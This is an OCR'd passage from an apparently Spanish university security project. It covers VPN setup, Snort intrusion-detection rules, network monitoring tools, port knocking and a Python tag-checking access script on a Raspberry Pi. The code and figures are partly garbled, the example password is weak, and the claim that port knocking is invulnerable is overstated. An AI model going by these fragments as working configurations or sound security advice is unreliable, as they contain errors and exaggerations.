bits are already as secure as 3872 bit RSA.

<Cancel>

Fig.180: Seleccion longitud bits de clave de certificado.

Y ya estd, instalacion-configuracion realizada.

Installation Complete! |

Now run 'pivpn add' to create the ovpn profiles.
Run 'pivpn help' to see what else you can do!

If you run into any issue, please read all our documentation
carefully.
All incomplete posts or bug reports will be ignored or deleted.

Thank you for using PiVPN.

Fig.181: Ultima pantalla de configuracion. Instalacion completada.
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Configuracion del usuario VPN

Finalmente, procedemos a configurar un usuario que se conectaré a la VPN. Para ello, procedemos
con el siguiente comando:

#sudo pivpn add

nos preguntara por un nombre de usuario y contrasefia, en este caso, por ejemplo:
Usuario: clientevpnl

Contrasefa: 1234567

A continuacion, generara el fichero con extension *.ovpn llamado: clientevpnl.ovpn. Fichero que
os informa que estara ubicado en el directorio: /home/pi/ovpns

Cogeremos este fichero y sera el que utilizaremos para configurar el cliente VPN.

File Edit Tabs Help

Fig.182: Establecimiento del usuario para el cliente VPN.
Configuracion del cliente VPN
Respecto del cliente, procedemos a descargarlo de la siguiente direccion
https://openvpn.net/index.php/open-source/downloads.html

En este caso, lo instalaremos en un ordenador con Windows 10. Tras la instalacion, este sera el
icono que nos figurara en el escritorio:

OpenVERNIGUI

Procedemos a configurarlo, realmente corresponde a un proceso muy sencillo, consistente en que
en el lado inferior derecho del escritorio se nos aparece un icono en forma de candado al cual,
abriremos sus propiedades con el botdn derecho del ratdn, apareciendo el siguiente mend:
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clientevpn2
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clientevpnd
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Import file...
Opciones...
Salir
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Donde en Import file, importaremos el fichero de configuracién de usuario generado desde el
servidor: clientevpnl.ovpn. Y para conectar, tan sencillo como accionar el ment Conectar y

teclear la contrasefia establecida para el cliente.

Conectar
Desconectar

Reconnect
Mostrar estado
Ver Log

Editar config

Clear Saved Passwords

chentevpnl
chentevpnd ¥

clientevpn3 »
chentevpnd »
clientevpnl »

Impert file.,.
Opciones...
Salir

Apuntes UOC

Fig.183: Conexidn a dispositivo Raspberry realizada.
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12.- IMPLEMENTACION DE SNORT: escaner de red y alertas.

Snort es un sistema de deteccion de intrusiones basado en red (NIDS). Su funcionamiento es
similar al de un sniffer respecto a que se dedica a monitorizar todo el trafico en la red en bldsqueda
de cualquier tipo de anomalia sobre todo respecto a que tenga la referencia de una intrusion.
Implementa todo un sistema motor de deteccion de ataques y barrido de puertos que permite
registrar, alertar y responder ante cualquier anomalia previamente definida como patrones [42] y
[43].

Fig.184: Figura comercial de Snort.

Antes de iniciar la instalacion y configuracion de Snort es importante conocer los elementos que
lo componen y como funciona. Snort puede funcionar de tres modos distintos:

1. Modo sniffer: En el que se motoriza por pantalla en tiempo real toda la actividad en la
red en que Snort es configurado.

2. Modo packet logger: Donde se almacena en un sistema de log toda la actividad de la
red en que se ha configurado Snort para un posterior andlisis.

3. Modo IDS: Se motoriza por pantalla o en un sistema basado en log, toda la actividad
de la red a través de un fichero de configuracion en el que se especifican las reglas y
patrones a filtrar para estudiar los posibles ataques.

SNORT

Capturador de paquetes

|
|

|
< Flujo de paquetes>
|

Fig.185: Esquema funcional de Snort.

e Capturador de paquetes: el capturador de paquetes obtiene los paquetes de trafico en un
enlace de red via el libpcap, un interfaz de programacion para la captura de paguetes
procedente de la capa de enlace.

e Decodificadores de paquetes: tiene la funcion de preparar los paquetes recibidos por Snort
antes de ser procesados y enviados al motor de deteccion, afiadiendo punteros a
posiciones criticas en este flujo de datos, desde la estructura de paquetes a nivel enlace
hasta las cabeceras Ethernet, IP, TCP, UDP y payload.
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A traves de los decodificadores, es que se debe alertar de diversos eventos como
cabecerastruncadas u opciones de tamafios inusuales o no frecuentes en las opciones de
TCP.

e Preprocesadores: de forma preliminar, snort requiere de la ejecucion de tareas de
organizacion y modificacion de los datos antes de realizar las comparaciones y bisqueda
de similitudes respecto de las reglas establecidas en su base de datos. Lo realiza a base de
un conjunto de procesadores basados en pequefios programas escritos en C. Funcién que
realiza antes de Ilamar al motor de deteccion.

Algunos procesadores son:

- frag3: defragmentacion IP basada en objeto.

- Stream5: reensamblaje TCP basada en objeto.

- http_inspect: soporte de normalizacion para URI (Identificador Uniforme de
Recursos).

- Defragmentacién.

- Servicio de normalizacién para representar la informacion en formatos estandares.

- Servicios de reensamblaje para proporcionar el mensaje completo.

- Capacidad de deteccion de problemas de trafico.

e Motor de deteccién: parte fundamental de snort, realiza la inspeccion de cada paquete
comparandolo con los patrones y opciones listadas en el fichero de reglas.

En caso de concordancia de reglas, se realizan las acciones correspondientes (registro de
paquetes, generacion de alertas,...), en caso contrario, los paquetes pueden llegar a ser
descartados.

e Procesadores de salida: controlan el tipo de estructura de salida. Entre otras actividades,
permite:

- Registrar (por defecto en /var/log/snort/alert).

- Enviar SNMP traps.

- Enviar mensajes al syslog.

- Registrar la informacion en bases de datos, ejemplo: SQL y Oracle.
- Generar salidas XML.

- Alertar configuraciones en firewalls o routes.

Snort permite controlar todos los paquetes que atraviesan la red en la cual se ha instalado. Estos
paquetes son analizados y es posible determinar qué acciones se llevaran a cabo a partir de reglas.
El comportamiento de Snort se establece a partir de un archivo de configuracion.

Fig.186: Esquema funcional de Snort.
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- La escritura de reglas hace uso de un lenguaje propio, ademéas de otros lenguajes de
programacion.

- Actualizacion de reglas.

- Puede ejecutarse en multiples interfaces.

- Dispone de sistemas de registro y alertas.

Una caracteristica muy importante e implementada desde hace pocas versiones es FlexResp.
Permite, dada una conexion que emita trafico malicioso, darla de baja, hacerle un DROP mediante
el envio de un paquete con el flag RST activa, con lo cual cumpliria funciones de firewall,
cortando las conexiones que cumplan ciertas reglas predefinidas. No s6lo corta la conexiones ya
gue puede realizar otras muchas acciones.

12.1.- Reglas Snort

Las reglas en Snort estan escritas en un lenguaje ligero y potente. Estas son abiertas, es decir
cualquiera podria inspeccionarlas y comprobar que cumplen con cubrir las vulnerabilidades a las
que van dirigidas [44].

Las reglas estandar de Snort son compuestas por el equipo de bisqueda de vulnerabilidades (VRT)
de Sourcefire. A continuacion, unos ejemplos.

« bad-traffic.rules exploit.rules scan.rules

» finger.rules ftp.rules telnet.rules

» smitp.rules rpe.rules rservices.rules
+ dos.rules ddos.rules dns.rules

» web-coldfusion.rules web-cgi.rules tftp.rules

» web-frontpage.rules web-iis.rules web-misc.rules
* web-attacks.rules sgl.rules x1l.rules

* icmp.rules netbios.rules misc.rules

* backdoor.rules shellcode.rules policy.rules

* porn.rules info.rules icmp-info.rules
+ attack-responses.rules local.rules virus.rules

Fig.187: Ejemplo de reglas estandar de Snort.

El caso méas importante que nos acontece en este proyecto, es el de deteccion de intrusion, es
decir, haciendo funcionar la herramienta como IDS. La funcion principal en este modo es la de
analizar el tr&fico y con vistas en atencion a una accion determinada atendiendo lo indicado en
una regla programada.

Un aspecto importante en este apartado es tener en cuenta un referente importante respecto a la
generacion de reglas y sus acciones versus respuestas, como es la relacion entre la naturaleza del
evento y la propia deteccidn asociada, pera ello, en [44] nos reporta un importante esquema de
las posibles respuestas en funcién de los diferentes posibles eventos que nos podamos encontrar.
La deduccion importante de esto y que todo técnico de seguridad debemos seguir es la
configuracion clara y concreta de una regla.
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Fig.188: Relacion naturaleza del evento vs. deteccion vs. configuracion de una regla [45].

También hay que indicar que la propia herramienta, trae preconfiguradas de por si una gran
cantidad de ficheros .rules con las principales vulnerabilidades a monitorizar. No entraremos en
detalle en este proyecto por extension. Se pueden encontrar en /etc/snort/rules.

La idea base de una regla es seguir un referente de patron como el que sigue:
accion protocolo IP puerto -> puerto IP.
A continuacion se muestra un ejemplo:

acclonles protocolols IP/s fuente puertols fusntels IPis destine pusrtols destinals

cabecera alert tcp any any - 143.83.39.0/24 8080/
opciones (content: "|0001 86 a5|"; msg: "mountd access';)

keyword g key

argumanto

12.2.- Configuracion

Tanto la instalacion como la configuracion, son sencillas. Los principales ficheros a tener en
cuenta van a ser:

- snor.conf: configura variables, preprocesadores, salidas y conjuntos de reglas activas.
- archivos.rules: definiremos aqui las reglas.
#sudo apt-get install snort

#sudo dpkg-reconfigure snort € para solicitar que se pidan las configuraciones.
#sudo /etc/init.d/snort restart.

0 service snort restart.

Editaremos las reglas con

#gedit /etc/snort/rules/reglas.rules.

#gedit /etc/snort/snort.conf

en este fichero afladiremos: include $SRULE_PATH/reglas.rules.
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nort.conf

Open ~ [

#include $RULE_PATH/voip.rules

#include SRULE_PATH/web-activex.rules

include SRULE_PATH/web-attacks.rules

include SRULE_PATH/web-cgi.rules

include SRULE_PATH/web-client.rules

include SRULE_PATH/web-coldfusion.rules

include SRULE_PATH/web-frontpage.rules

include SRULE_PATH/web-iis.rules

include $RULE_PATH/web-misc.rules

include SRULE_PATH/web-php.rules

Jinclude SRULE_PATH/x11.rules

X SRULE_PATH/community-sql-injection.rules
include $RULE_PATH/community-web-client.rules

include $RULE_PATH/community-web-dos.rules

include $RULE_PATH/community-web-iis.rules

include $RULE_PATH/community-web-misc.rules

include SRULE_PATH/community-web-php.rules

include $RULE_PATH/community-sql-injection.rules

include $RULE_PATH/community-web-client.rules

include SRULE_PATH/community-web-dos.rules

include $RULE_PATH/community-web-iis.rules

include $RULE_PATH/community-web-misc.rules

include SRULE PATH/community-web-php.rules

Jinclude SRULE_PATH/reglas.rules |

BB RERBBHBERERBHERREHERBBRBRBEREBRERBER RGN
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules

B R R R R R RGBSR HERERRRHBH R HEHE

decoder and preprocessor event rules

include $PREPROC_RULE_PATH/preprocessor.rules
include $PREPROC_RULE_PATH/decoder.rules
include $PREPROC_RULE_PATH/sensitive-data.rules

_ HEHR B R R R R AR

Fig.189: Ejemplo de configuracion del fichero snort.conf

TR RER

y lo pondremos en marcha, estando en

pi@raspberrypi:~$ /etc/snort# snort -A console -c snort.conf -i ethO
-A: indicamos modo de alerta.

- ¢: indicamos fichero de configuracion a utilizar.

- i especificamos el interfaz.

Como referencia importante, de [46] destacar una de las reglas mas importantes, el escaneo Nmap
vs. ping. Se trata que, como sabemos, lo normal es que quiera realizar una intrusion comience su
proceso escaneo utilizando la herramienta Nmap, la cual, comienza el escaneo mediante el envio
de un paquete ICMP para realizar el ping. Por lo tanto, una herramienta asociada a este control
podria ser una regla como la siguiente:

alert icmp any any -> 192.168.1.40 any (msg: "Escaneo NMAP con ping"; dsize:0; sid:1003; rev:
1;)

Por lo tanto, la regla inicial de configuracion de ping junto con esta, nos sirve para detectar tanto
ping como escaneo por Nmap.

A continuacién una captura de pantalla donde se muestra una identificacion de realizacion de
ping, en este caso un ping automatico por parte del router desde la direccion de Gateway
192.168.1.1 a la direccidn del puerto Ethernet 192.168.1.40 del dispositivo Raspberry. Podemos
ver tanto deteccion de ping como, aunque en este caso no corresponderia, de escaneo Nmap.
Hemos de tener en cuenta la distincion de ping respecto de Nmap.
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Fig.190: Muestra de funcionamiento de Snort. Captura de realizacion ping.

El conjunto de reglas afiadidas a nuestro fichero de configuracion: reglas.rules es:
alerticmp any any ->192.168.1.40 any (msg:"Escaneo ping con NMAP"; dsize:0; sid:628; rev:1;)

alert icmp any any -> 192.168.1.40 1194 (msg:"Escaneo ping con NMAP TCP a 1194"; sid:629;
rev:1;)

alert icmp any any -> 192.168.1.40 any (msg:"Alguien esta haciendo Ping"; sid:630; rev:1;)

# alert tcp 1192.168.1.40 any -> 192.168.1.40 any (msg:"Alguien no de casa entra"; sid:102060;
rev:1;)

alerttcp 192.168.1.40 any -> any 80 (msg:"Alguien esta intentando navegar"; sid:102040; rev:1;)

alert tcp 192.168.1.40 any -> any 443 (msg:"Alguien estd intentando navegar"; sid:102050;
rev:1;)
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13.- MONITORIZACION DE RED: parametros de comprobacion y
deteccion.

Continuando con el proceso de evaluacion y analisis a la creacion de un sistema de gestion y
atencion a la seguridad de un dispositivo electronico, a continuacion vamos a estudiar la
evaluacion de algunas de las herramientas de monitorizacion y asociadas a la seguridad que
podemos encontrar disponibles en este entorno de programas.

13.1.- Top: monitorizacién general.

Con tan solo escribir la instruccion top en la linea de comando, se nos despliega una ventana de
informacién como la que sigue en la siguiente captura de pantalla[47]:

Nos dispone toda una muestra de pardmetros principales en el que podemos ver:
1.- Tiempo de vida de actividad y carga media del sistema

En la primera linea nos muestra:

e Horaactual.

e Tiempo que ha estado el sistema encendido.

e Numero de usuario.

o Carga media en intervalos de 5, 10 y 15 minutos respectivamente.

2.- Tareas
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La segunda linea muestra el total de tareas y procesos, los cuales pueden estar en
diferentes estados. Yo lo tengo en castellano y la traduccion es un poco pobre, asi que lo
explico en inglés:

e Running (ejecutar): procesos ejecutandose actualmente o preparados para ejecutarse.

e Sleeping (hibernar): procesos dormidos esperando que ocurra algo (depende del
proceso) para ejecutarse.

o Stopped (detener): ejecucion de proceso detenida.

e Zombie: el proceso no estd siendo ejecutado. Estos procesos se quedan en este estado
cuando el proceso que los ha iniciado muere (padre).

3. Estados de la CPU

Esta linea nos muestra los porcentajes de uso del procesador diferenciado segun el uso
asignado.

e Uus (usuario): tiempo de CPU de usuario.

e sy (sistema): tiempo de CPU del kernel.

e id (inactivo): tiempo de CPU en procesos inactivos.

e wa (en espera): tiempo de CPU en procesos en espera.

e hi (interrupciones de hardware): interrupciones de hardware.

e i (interrupciones de software): tiempo de CPU en interrupciones de software.

4. Memoria fisica

e Memoria total.

e Memoria utilizada.

e Memoria libre.

e Memoria utilizada por buffer.

5. Memoria virtual

e Memoria total.

e Memoria usada.

e Memoria libre.

e Memoria en caché.

6. Columnas
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PID: es el identificador de proceso. Cada proceso tiene un identificador nico.

USER (USUARIO): usuario propietario del proceso.

PR: prioridad del proceso. Si pone RT es que se esta ejecutando en tiempo real.

NI: asigna la prioridad. Si tiene un valor bajo (hasta -20) quiere decir que tiene mas
prioridad que otro con valor alto (hasta 19).

VIRT: cantidad de memoria virtual utilizada por el proceso.

RES: cantidad de memoria RAM fisica que utiliza el proceso.

SHR: memoria compartida.

S (ESTADO): estado del proceso.

%CPU: porcentaje de CPU utilizado desde la ultima actualizacion.

%MEM: porcentaje de memoria fisica utilizada por el proceso desde la ultima
actualizacion.

e TIME+ (HORA+): tiempo total de CPU que ha usado el proceso desde su inicio.

e COMMAND: comando utilizado para iniciar el proceso.

PID USER PR NI VIRT RES TIME+ COMMAND

Fig.191: Monitorizacién por comando top de nuestro dispositivo.

13.2.- Iftop: monitorizando trafico.

De [48] Aplicacién muy parecida a Top pero poniendo detalle en la monitorizacion de la red,
proveyéndonos multitud de detalles respecto de la informacion de la red, sobre todo el trafico
asociado al mismo asi como todos los procesos que hacen uso de esta.

Instalacion:

# sudo apt-get update

# sudo apt-get upgrade

# sudo apt-get install iftop

Ejecucion en linea de comando: sudo iftop
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13.3.- Iptraf: monitorizando interfaces, direcciones y protocolos.

Complementaria a las anteriores y donde podemos ver multitud de detalles de informacion
referente a interfaces, puertos, traficos y referentes afin a nuestro estudio [48].

Instalacion:

# sudo apt-get update

# sudo apt-get upgrade

# sudo apt-get install iptraf

Ejecucion en linea de comando: sudo iptraf-ng

pi@raspberrypi: ~
File Edit Tabs Help
iptraf-ng 1.1.4

IP traffic monit
tistics
=) e atistics
Statistical breakdowns...
LAN station monitor
Filters...
Configure...

About. ..

Exit

Up/Down-Move selector Enter-execute

Fig.192: Pantalla principal de Iptraf.

A continuacién diferentes capturas de pantalla con diferentes muestras de referencias principales
como trafico en transito en tiempo real. Entre otros datos, podemos ver las direcciones IP en
trénsito y los diferentes protocolos principales como TCP, UDP, ICMP y broadcast. También
velocidad de subida, de bajada y la total. Lo cual nos permite tener una monitorizacién puntual
en tiempo real del estado de nuestra red.
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File Edit Tabs Help
iptraf-ng 1.1.4

192.168.1.38:52472
192.168.1.40:5900

Up/Dn/Pgup/PgDn-scroll M-more TCP info

bytes) from
bytes) from
bytes) from
bytes) from
bytes) from

192.168.1.39:1900 to
192.168.1.39:1900 to
192.168.1.39:1900 to
192.168.1.39:1900 to

fe80::5122:7704:434f:

W-chg actv win

39418 -PA- ethe
770865 -PA- ethe

239.255.255.250:1960 on
239.255.255.250:1900 on
239.255.255.250:1900 on
239.255.255.250:1900 on

Active

ethoe
etho
ethoe
etho

5749:56213 to ff02::c:1900 on ethe

S-sort TCP X-exit

Fig.193: Pantalla monitor tréfico para interfaces (). Interfaz ethO

File Edit Tabs Help
iptraf-ng 1.1.4
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192.
192.
a b7
192.
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192.
216.
[192.

.58.201.163:443
192.
192.

216

168.
168
168
217.
168.
ralg
168

1.38:52472

.1.40:5900
.1.40:52932

17.3:443
1.40:54626

.17.14:443
.1.40:59936

58.201.173:443

168.

168.
168.

(346
(194
(403
(346
(401

1.40:54278

1.40:40452
1.44:8009

bytes) from
bytes) from
bytes) from
bytes) from
bytes) from

192.168.1.39:1900 to

feg80::5122:7704:434f:

192.168.1.39:1960 to
192.168.1.39:1900 to
192.168.1.39:1900 to

216835
6189890
1778
5915
i
6233
2140
5965
3886
169742
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46

nmnuwnnummnmmnyyv

etho
ethe
ethe
ethe
etho
etho
ethe
etho
etho
etho
ethe
etho
Active

239, 255,255,250:1900 on ethe
5749:56213 to ffe2::c:1900 on etho
239.255.255.250:1900 on ethe
239.255.255.250:1900 on ethe
239.255,255,250:1900 on ethe

Up/Dn/Pgup/PgDn-scroll M-more TCP info W-chg actv win S-sort TCP X-exit

Fig.194: Pantalla monitor tréfico para interfaces (I1). Interfaz ethO
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File Edit Tabs Help
iptraf-ng 1.1.4

1o 0.00 kbps
ethe 108.45 kbps
tune 0.00 kbps

Up/Down/PguUp/PgDn-scroll window X-exit

Total:

IPv4:

IPVE:

TCP:

UDP:

ICMP: 3

Oother IP: B : ]
Non-IP: 0

Total rates: 388 & kbps Broadcast packe
5 pp Broadcast bytes:

Incoming rates:
The Birds That Have Lived for 44 Million Years | Africa | BBC

o

IP checksum errors:
outgoing rates:

M mceme

Fig.195: Muestra de funcionamiento de Iptraf. Protocolos y velocidades de E/S.

A continuacion un pequefio programa que nos puede servir también de ayuda y donde podemos
ver una monitorizacién del trafico de subida y bajada en tiempo real por individual.
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pi@raspberrypi

Fig.196: Pantalla de funcionamiento de speedtest-cli.
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14.- TECNICA DE PORT KNOCKING: control de puertos.

Esta técnica nos reporta cierta técnica de abrir y cerrar puertas de acceso, en el que en su sinénimo
conocido, establecemos una manera de "llamar" a la puerta, el puerto en este caso, de forma pre-
establecida y conocida y que la aplicacion encargada, va a comprobar que coindice con lo
acordado y respecto a que lo tendré registrado previamente en un fichero de configuracion.

Consiste, antes de abrir el puesto objetivo, siendo el mas popular el nimero 22 perteneciente al
servicio SSH, en realizar la combinacion previa de hasta tres puertos arbitrarios que seran a los
que se le atribuye la tarea de llamada a la puerta (port knocking). Algunas referencias son que con
tres puertos, siendo el rango de puertos es de 1-65535, tenemos 65535° =
281.462.092.005.375 combinaciones posibles, por lo que lo hace invulnerable ante un ataque por
fuerza bruta, ademas, después de averiguar la secuencia tendrian que seguir escaneando para ver
que puerto se ha abierto y por si fuera poco encontrar el password. Ademas, preserva de acceso
durante el tiempo que no se activa la aplicacion. Es decir, solo abierto durante el tiempo breve de
consulta al puerto 22.

A continuacién una muestra esquema del funcionamiento de Port Knocking:

Solicitud de conexion:

SSH: puerto 22 x

Secuencia determinada:
Llamada (Knocking): puerto: 1000, 2000,3000 |/

Yy

N,

Solicitud establecimiento conexion:
SSH: puerto 22

I

Fig.197: Esquema de funcionamiento de la técnica Port Knocking.

Parametros de la configuracion son:

- UseSyslog: para registrar la actividad. En Linux se encuentra en: /var/log/syslog.

- Seccion de servicio a configurar, como ejemplo, [openSSH]. Seccion donde iran las
instrucciones.

- Sequence: secuencia de nimero de puertos arbitrarios. En nuestro ejemplo, 1000, 2000
y 3000. Pudiendo ser cualquier combinacién que el usuario considere. A mayor
aleatoriedad, mayor seguridad.

- Seq_timeout = tiempo que esperara para efectuar la combinacion de puertos. Esto
significa que, por ejemplo suponiendo un tiempo de estimacion de 5 segundos, tendremos
méaximo 5 segundos para completar la secuencia realizacion de llamada por parte los tres
puertos arbitrarios configurados. Si se supera este tiempo (de valor configurable) se

204

UNIVERSITAT _TELECOM ESCUELA
POLITECNICA TECNICA VLC SUPERIOR



UNIVERSITAT
POLITECNICA
DE VALENCIA

considera que la secuencia no ha sido valida y el programa no activara el servicio
establecido.

- Command: corresponde con el comando que el servidor ejecutard cuando detecte la
secuencia correcta. Existen en la bibliografia dos configuraciones practicas a realizar, una
basada por ejemplo en la ejecucion de una regla de iptables de Linux. Otra, como la que
vamos a ver aqui, en activar directamente el servicio.

- Tcpflags = syn con esta linea se especifica el tipo de paquetes que reconocera el servidor
como validos.

Le sigue la seccién de cerrar el servicio, que no es mas que a efectos practicos, en el mismo orden
que abrir, pero de actuar en sentido inverso para cerrar el servicio.

14.1.- Instalacién y configuracion de Port Knocking

A continuacién procedemos a instalar y configurar la aplicacion. Para ello, en primer lugar
procedemos a instalar el programa.

# sudo apt-get install knockd

A continuacion, activamos el programa mediante el establecimiento de los siguientes parametros
en el fichero knockd. Con:

# sudo nano /etc/default/knockd

Establecemos los pardmetros:
- START_KNOCKD =1.
- KNOCD_OPTS ="-i eth0"
Siendo ethO el interfaz que corresponda. En nuestro caso, el interfaz Ethernet 0.

GNU nano 3.2 /fetc/default/knockd

Fig.198: Configuracion de inicio de la aplicacién I.

A continuacién configuramos el fichero de
# sudo nano /etc/knockd.conf
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File Edit Tabs Help

GNU nano 3.2

/etc/knockd.conf

Fig.199: Configuracion de inicio de la aplicacion 1l.

Los comandos con los que activaremos y desactivaremos la aplicacién son:
# sudo service start

# sudo service stop

# sudo service status.

Lo mismo para el servicio ssh

# sudo service ssh start

# sudo service ssh start

# sudo service ssh status

Para la ejecucidon del programa, actuando desde el lado cliente, indicaremos:
# knock -v <dir. IP del dispositivo> <secuencia de tres puertos programada>

# knock -v 192.168.1.40 1000 2000 3000
- Vv: parte verbose con la que seguimos la actuacion del programa.
Lo mismo para cerrar el puerto, pero en orden inverso.

A continuacién, una muestra del funcionamiento:

En primer lugar, desactivaremos el servicio ssh, para ello ejecutaremos la instruccion de service
ssh stop. Lo podemos comprobar con la ejecucion de la instruccion nmap a la direccion del
dispositivo:

206




_TELECOM |

k

Fig.201: Comprobamos que el puerto que conecta con el servicio SSH esté cerrado.
A continuacién, desde el lado cliente ejecutaremos:
# knock -v 192.168.1.40 1000 2000 3000
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Fig.202: Comprobamos apertura del puerto 22 con la ejecucion del comando de apertura.

Network
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Fig.203: Comprobamos el cierre del puerto 22 con la ejecucion del comando de cierre.
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15.- TECNICA DE WEB SCRAPING: afiadir seguridad.

El scraping de datos (también Ilamado web scraping) es el proceso de extraer informacion de
sitios web. El scraping de datos se enfoca en transformar el contenido no estructurado de un sitio
web (usualmente HTML) en datos estructurados los cuales pueden ser almacenados en una base
datos o en una hoja de calculo.

La forma en que los datos son extraidos de un sitio web es similar a la utilizada por los bots de
busqueda - la navegacion web humana es simulada utilizando programas (bots) los cuales extraen
(scrape) los datos de un sitio web.

Image Selector Text Selector

| |

5150.00 USD
ok ok <«— Hidden Selector

A : = Color Quantity
i s
ADD TO CART
m PAYMENT DELIVERY REVIEW CONFIRMATION

| |
I ¥

Fig.204: Esquema principal de utilizacion de la técnica de Web Scraping.

|
<a href="http:/fwww.nchi.nim.nih.gov/" target="_blank">the NCBI web site</a>

Fig.205: Esquema principal de etiquetado HTML y referencia para Web Scraping.

>8>

Web sites with
HTML pages &
Ajax

Web Scraping
Service

Scructured data

Fig.206: Algunas posibles implementaciones de la técnica.
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15.1.- Implementacion de Web Scraping.

Primero, veamos nuestra ubicacidn en el sistema, en el que en este momento, nos encontramos en
el lado del dispositivo y referido a la parte de control aplicado al control de acceso. Veamos en
punto de control aplicado en la siguiente figura:

Vigilancia seguridad

Control aplicado ENUO IE'GI.
/

e

Intrusion
electronica:
deteccién

Acceso Web

Captura IP

Acceso dispositivo

¢Quién es?

" d ¢ C.c?g::ee:? A Memoria, discos a
| pOthon
0 mortgo ¢Accion? Datos Web
Analisis y
> medidas del N
riesgo

Fig.207: Esquema de punto de control aplicado.

En este caso, lo que se realiza es la misma implementacidn base de esta técnica aplicada a generar
un punto de seguridad al acceso a nuestro dispositivo Raspberry. Para ello, se realiza un programa
en Python donde programamos la identidad de una etiqgueta HTML y donde programamos un
codigo identidad que servira al programa de control de acceso al dispositivo para comprobar este
cdédigo a modo de identidad. Cddigo que tendra inicialmente una planificacion desde la etiqueta
que opcionalmente se considere y se le integrara en ella el cddigo de identidad elegido. A
continuacion una muestra de referencia que sirve de ejemplo:

Parte de Footer

cite="http://ianchadwick.com/">Texto publicitario Nota del dia

Insertado en la etiqueta interior de un parrafo <p>, dentro de una etiqueta <g> de citacion,
podemos, a través de su pardmetro cite aprovechar su no visibilidad para insertar aqui nuestro
posible cddigo, en este caso, un link como aleatorio a una pagina web.

Seguidamente, le sigue un programa en Python el cual se va a encargar de comprobar la
identificacion de este codigo y en el que posteriormente en funcion de la verificacion de cédigo
de este pardmetro cite, consentira el acceso a los datos internos del circuito, en este caso, el valor
de temperatura de la CPU de la Raspberry. En caso de no cumplirse la verificacion, el programa
termina y no da acceso a ninguna consulta ni ninguna otra funcion en el dispositivo.
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Fig.209: Esquema control por parte del programa Python.

A continuacion, parte del programa que realiza la funcién de control de codigo de etiqueta y
muestra la temperatura de la CPU de la Raspberry y a continuacion envia un correo electronico
de informacion de lectura.

codigo=urlopen(url
codigo=codigo.read

todo = re.findall( p://ianc tario<)/q> Nota del dia</p>", codigo.decode('UTF-8"))

"a herf=" in

(todo):
print(t+'\

sktop/Pruebas_libro_Pi

Fig.210: Parte del programa que realiza la comprobacion de cddigo por etiqueta.
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From = "Javier Gime javier.gimenez@telefonica.net>’
To = 'Javier Gimenez s/ier.gimenez@telefonica.net>’
Subject = 'Asunto de este mensaje’

Date = email.utils.formatdate()

enviador = "javier.gimenez@telefonica.net™

password = " 5

encabezados =

From,
To,
Date,
Subject

cuerpos = encabezados +

% (datetime.datetime.now().strftime

print("Envio del coreo..."')

servidor = smtplib.SMTP(servidorsmtp, 25)
servidor.login(enviador, password)
servidor.set_debuglevel(1)

error = servidor.sendmail(From, To, cuerpos)
servidor.quit()

if error:

print(‘'Error. ', error)

1

print('0OK")

Fig.211: Parte de programa de envio de correo electrdnico.

Buscar en Buzén actual AR | Buzénactual -~ ") Responder 2 Responderatodos (53 Reenviar

Jju. 19/03/2020 17:34
Javier Gimenez <javier.gimenez@telefonica.net>

Asunto de este mensaje

Todo No leidos T Més nuevo 4
4 Hoy
Javier Gimenez

Asunto de este mensaje 17:48
Correo enviado desde

Para Javier Gimenez

Curso de Programaci... Correo enviado desde dispositivo Raspberry. Se ha consultado un dato. Fecha del mensaje: 2020/03/19 17:34:12.685528

Fig.212: Captura de recibo de correo electronico.

Una muestra de ejemplo de ejecucidn se puede ver en la siguiente figura, donde vemos una pagina
web de ejemplo: url=https://lorem2.com donde identificamos una etiqueta de referencia <li> e
identificamos un texto contenido dentro de la misma, en este caso, un texto en latin de ejemplo y
en que a la coincidencia de texto, nos permite acceder a la lectura de la temperatura de la CPU.
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apperexreg2.py - /home/pi/Desk...s_libro_Pi/scrappe

File Edit Format Run Options Window Help

Loport smtplib
import os

url= 'https://lorem2.com
servidorsmtp='smtp.telefonica.net’

envio_correo():

From = 'Javier Gimenez <javier.gimenezBtelefonica.net>'
To = 'Javier Gimenez <javier.gimenez@telefonica.net>
Subject = 'Asunto de este mensaje

Date = email.utils.formatdate()

enviador = "javier.gimenez@telefonica.net"

password = "

encabezados = ("""From: %s
To: %s
Date: %s
Subject: %s""* % (

From,

To,

Date,

Subject

)

)

cuerpos = encabezados + """
Correo de envio desde Raspberry. Se ha consultado dato. Fecha del mensaje: %
" % (datetime.datetime.now().Stritime( %Y/%m/%d %H:%MI%S.%1"))

print('Envio del coreo
servidor = smtplib.SMTP(servidorsmtp, 25)
servidor. login(enviador, password)
servidor.set_debuglevel(1)

error = servidor.sendmail(From, To, cuerpos)
servidor.quit()

if error:

print(‘Error. ', error)

print('0K')
f get_1i():

codigo=urlopen(url)

codigo=codigo.read()

todo = re.findall('<li>Vivamus vestibulum ntulla nec ante.</1i>', codigo.dec

#todo2= re.search("Vivamus", codigo.decode('UTF-8'}))

for t todo:
f "a herf=" in t:

(todo):

print(ts+'\n')

with open('/sys/class/thermal/thermal_zone@/temp') as temp
ttemp =int(temp.read())/1000

print("temperatura de CPU:" + str(ttemp))

else: print('hola’)

_TELECOM ESCUELA
TECNICAVLC SUPERIOR
DE INGENIERIA DE,
TELECOMUNICACION

Python 3.7.3 Shel

File Edit Shell Debug Options Window Help

Python 3.7.3 (default, Dec 20 2019, 18:57:59)

[GCC 8.3.0] on linux

Type "help", "copyright", "credits" or "license()" for more information.
>3

= = RESTART: /home/pi/Desktop/Pruebas_libro_Pi/scrapperexreq2.py =
<1li>Vivamus vestibulum ntulla nec ante.</1i>

temperatura de CPU:56.92
> |

Fig.213: Ejemplo de ejecucion del programa.
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16.- CONCLUSION Y LINEAS FUTURAS.

Un sistema es seguro si dispone de mecanismos, politicas, controles y protecciones para evitar un
acceso indeseado. Hemos visto técnicas preventivas, de deteccion y que nos aportan reaccion, al
mismo tiempo que nos evitan denegacion, disrupcién y degradacion. Sin embargo, es realmente
imposible proveer un sistema que sea totalmente seguro (en ambos sentidos “safe and secure”).
No obstante, se muestra este trabajo la posibilidad de poder aportar un mecanismo de prevencion,
como es la implementacion y la realizacion de buenas précticas, como las aqui aportadas y valor
afiadido como fortificacion y evitacion, con lo que se denota la posibilidad de poder disponer de
un sistema mas seguro y por lo tanto estable, proporcionando un complemento de a mas
proteccion a los 'modus operandi' que nos suceden cada dia en el campo de la ciberseguridad. A
modo de complementar en afiadir métodos y medios, realizamos anillos de proteccién con lo que
disponer de un sistema no efectivo del todo, pero si preventivo y por lo tanto mas seguro como
